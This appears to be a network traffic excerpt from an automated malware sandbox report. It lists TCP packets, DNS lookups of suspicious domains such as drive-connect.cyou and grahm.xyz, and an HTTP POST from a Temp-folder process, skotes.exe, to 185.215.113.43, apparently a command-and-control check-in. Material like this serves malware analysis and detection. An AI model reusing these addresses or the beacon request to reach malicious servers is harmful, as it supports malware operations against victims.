Dec 13, 2024 01:52:00.036161900 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.039509058 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.039665937 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.039777994 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.039777994 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.047952890 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.048100948 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.048312902 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.055954933 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.056056976 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.056142092 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.064384937 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.064558029 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.064611912 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.064837933 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.072978020 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.073033094 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.073919058 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.081211090 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.081311941 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.081533909 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.089626074 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.089700937 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.089745998 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.089797974 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.098161936 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.098248959 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.098320961 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.106364965 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.106465101 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.106628895 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.114893913 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.114918947 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.115173101 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.227817059 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.227838993 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.229254961 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.229321957 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.229345083 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.229398012 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.230506897 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.234144926 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.234519005 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.234833002 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.239165068 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.239262104 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.239331961 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.244267941 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.244294882 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.244832039 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.249165058 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.249330044 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.249459028 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.253938913 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.254307985 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.254832983 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.258753061 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.259104013 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.259340048 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.263693094 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.263719082 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.264091015 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.268378019 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.268762112 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.269562006 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.273226023 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.273482084 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.273969889 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.278069019 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.278098106 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.278666019 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.282814980 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.282929897 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.282959938 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.283062935 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.287784100 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.287862062 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.289534092 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.292597055 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.292682886 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.292788982 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.297296047 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.297665119 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.298172951 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.302263975 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.302289963 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.302383900 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.306957006 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.307004929 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.307224989 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.311829090 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.311913013 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.312452078 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.419560909 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.419785976 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.420027018 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.421613932 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.421714067 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.421732903 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.422154903 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.425566912 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.426892996 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.427021027 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.427156925 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.427165031 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.429188967 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.431009054 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.431143999 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.431272030 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.435024977 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.435169935 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.435214043 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.435214043 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.438771963 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.438874960 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.438940048 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.438940048 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.442497015 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.442621946 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.443095922 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.443095922 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.446145058 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.446276903 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.446299076 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.446336031 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.449796915 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.449892998 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.450544119 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.453421116 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.453522921 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.453571081 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.453762054 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.457047939 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.457137108 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.457417965 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.460666895 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.460777998 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.460789919 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.461206913 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.464323997 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.464370966 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.464461088 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.464835882 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.467922926 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.468041897 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.468054056 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.468106031 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.471549034 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.471668005 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.472444057 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.472444057 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.475229979 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.475352049 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.475450993 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.478830099 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.478956938 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.478967905 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.479341030 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.482167959 CET	443	49896	104.21.79.7	192.168.2.4
Dec 13, 2024 01:52:00.482289076 CET	443	49896	104.21.79.7	192.168.2.4
Dec 13, 2024 01:52:00.482412100 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.482475996 CET	49896	443	192.168.2.4	104.21.79.7
Dec 13, 2024 01:52:00.482558966 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.482635021 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.486107111 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.486251116 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.486269951 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.486398935 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.489713907 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.489841938 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.491158009 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.491158009 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.493339062 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.493459940 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.494828939 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.494828939 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.497050047 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.497123957 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.499160051 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.499160051 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.500622034 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.500797033 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.501666069 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.504265070 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.504370928 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.504837990 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.506011009 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.507929087 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.508011103 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.510613918 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.511524916 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.511657953 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.511682034 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.512316942 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.515156984 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.515336037 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.515342951 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.515373945 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.518784046 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.518901110 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.519042969 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.519042969 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.522435904 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.522543907 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.522578001 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.523159981 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.526081085 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.526215076 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.527158976 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.527158976 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.530421972 CET	443	49898	172.67.213.48	192.168.2.4
Dec 13, 2024 01:52:00.530618906 CET	443	49898	172.67.213.48	192.168.2.4
Dec 13, 2024 01:52:00.530797958 CET	49898	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:52:00.534012079 CET	49896	443	192.168.2.4	104.21.79.7
Dec 13, 2024 01:52:00.534043074 CET	443	49896	104.21.79.7	192.168.2.4
Dec 13, 2024 01:52:00.575336933 CET	49898	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:52:00.575407028 CET	443	49898	172.67.213.48	192.168.2.4
Dec 13, 2024 01:52:00.611771107 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.611792088 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.611835003 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.611835003 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.612467051 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.612545967 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.612577915 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.612632036 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.615643978 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.615670919 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.616106987 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.616106987 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.618524075 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.618767977 CET	49906	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:52:00.618856907 CET	80	49906	185.215.113.16	192.168.2.4
Dec 13, 2024 01:52:00.618942976 CET	49906	80	192.168.2.4	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 13, 2024 01:51:39.681998014 CET	192.168.2.4	1.1.1.1	0x45b2	Standard query (0)	fightlsoser.click	A (IP address)	IN (0x0001)	false
Dec 13, 2024 01:51:46.389203072 CET	192.168.2.4	1.1.1.1	0xd370	Standard query (0)	drive-connect.cyou	A (IP address)	IN (0x0001)	false
Dec 13, 2024 01:51:48.737344027 CET	192.168.2.4	1.1.1.1	0x7f43	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
Dec 13, 2024 01:51:50.842880964 CET	192.168.2.4	1.1.1.1	0x7d9f	Standard query (0)	grahm.xyz	A (IP address)	IN (0x0001)	false
Dec 13, 2024 01:52:03.320120096 CET	192.168.2.4	1.1.1.1	0x2c37	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 13, 2024 01:52:03.563755989 CET	192.168.2.4	1.1.1.1	0x35df	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 13, 2024 01:52:06.275356054 CET	192.168.2.4	1.1.1.1	0xe69c	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 13, 2024 01:52:06.277352095 CET	192.168.2.4	1.1.1.1	0xedb8	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Dec 13, 2024 01:52:06.530771017 CET	192.168.2.4	1.1.1.1	0xcd06	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 13, 2024 01:52:06.530941963 CET	192.168.2.4	1.1.1.1	0x24bc	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Dec 13, 2024 01:52:06.785208941 CET	192.168.2.4	1.1.1.1	0x586d	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Dec 13, 2024 01:52:06.785617113 CET	192.168.2.4	1.1.1.1	0xbfe6	Standard query (0)	youtube.com	28	IN (0x0001)	false
Dec 13, 2024 01:52:06.791747093 CET	192.168.2.4	1.1.1.1	0x3b20	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 13, 2024 01:52:06.791906118 CET	192.168.2.4	1.1.1.1	0xcd6b	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 13, 2024 01:52:13.531107903 CET	192.168.2.4	1.1.1.1	0x5e13	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Dec 13, 2024 01:52:13.531244040 CET	192.168.2.4	1.1.1.1	0x700a	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Dec 13, 2024 01:52:14.486546993 CET	192.168.2.4	1.1.1.1	0xd642	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Dec 13, 2024 01:52:14.486588001 CET	192.168.2.4	1.1.1.1	0x3b1d	Standard query (0)	play.google.com	65	IN (0x0001)	false
Dec 13, 2024 01:52:24.811367035 CET	192.168.2.4	1.1.1.1	0x6f73	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Dec 13, 2024 01:52:41.910482883 CET	192.168.2.4	1.1.1.1	0x6538	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 13, 2024 01:51:39.993522882 CET	1.1.1.1	192.168.2.4	0x45b2	No error (0)	fightlsoser.click		172.67.213.48	A (IP address)	IN (0x0001)	false
Dec 13, 2024 01:51:39.993522882 CET	1.1.1.1	192.168.2.4	0x45b2	No error (0)	fightlsoser.click		104.21.35.43	A (IP address)	IN (0x0001)	false
Dec 13, 2024 01:51:46.701029062 CET	1.1.1.1	192.168.2.4	0xd370	No error (0)	drive-connect.cyou		104.21.79.7	A (IP address)	IN (0x0001)	false
Dec 13, 2024 01:51:46.701029062 CET	1.1.1.1	192.168.2.4	0xd370	No error (0)	drive-connect.cyou		172.67.139.78	A (IP address)	IN (0x0001)	false
Dec 13, 2024 01:51:48.877325058 CET	1.1.1.1	192.168.2.4	0x7f43	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false
Dec 13, 2024 01:51:51.237687111 CET	1.1.1.1	192.168.2.4	0x7d9f	No error (0)	grahm.xyz		116.203.10.31	A (IP address)	IN (0x0001)	false
Dec 13, 2024 01:52:03.299544096 CET	1.1.1.1	192.168.2.4	0xbea9	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Dec 13, 2024 01:52:03.562866926 CET	1.1.1.1	192.168.2.4	0x2c37	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Dec 13, 2024 01:52:06.413392067 CET	1.1.1.1	192.168.2.4	0xe69c	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 13, 2024 01:52:06.413392067 CET	1.1.1.1	192.168.2.4	0xe69c	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 13, 2024 01:52:06.414508104 CET	1.1.1.1	192.168.2.4	0xedb8	No error (0)	youtube.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Dec 13, 2024 01:52:06.667872906 CET	1.1.1.1	192.168.2.4	0xcd06	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 13, 2024 01:52:06.668036938 CET	1.1.1.1	192.168.2.4	0x24bc	No error (0)	youtube.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Dec 13, 2024 01:52:06.922543049 CET	1.1.1.1	192.168.2.4	0x586d	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Dec 13, 2024 01:52:06.923419952 CET	1.1.1.1	192.168.2.4	0xbfe6	No error (0)	youtube.com			28	IN (0x0001)	false
Dec 13, 2024 01:52:06.928838968 CET	1.1.1.1	192.168.2.4	0xcd6b	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 13, 2024 01:52:06.928911924 CET	1.1.1.1	192.168.2.4	0x3b20	No error (0)	www.google.com		142.250.181.132	A (IP address)	IN (0x0001)	false
Dec 13, 2024 01:52:13.668677092 CET	1.1.1.1	192.168.2.4	0x5e13	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 13, 2024 01:52:13.668677092 CET	1.1.1.1	192.168.2.4	0x5e13	No error (0)	plus.l.google.com		142.250.181.46	A (IP address)	IN (0x0001)	false
Dec 13, 2024 01:52:13.668708086 CET	1.1.1.1	192.168.2.4	0x700a	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 13, 2024 01:52:14.623878956 CET	1.1.1.1	192.168.2.4	0xd642	No error (0)	play.google.com		172.217.19.206	A (IP address)	IN (0x0001)	false
Dec 13, 2024 01:52:24.948379040 CET	1.1.1.1	192.168.2.4	0x6f73	No error (0)	youtube.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Dec 13, 2024 01:52:42.047674894 CET	1.1.1.1	192.168.2.4	0x6538	No error (0)	youtube.com		142.250.181.110	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49753	185.215.113.43	80	3320	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 01:51:03.793855906 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 13, 2024 01:51:05.126530886 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 13 Dec 2024 00:51:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49759	185.215.113.43	80	3320	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
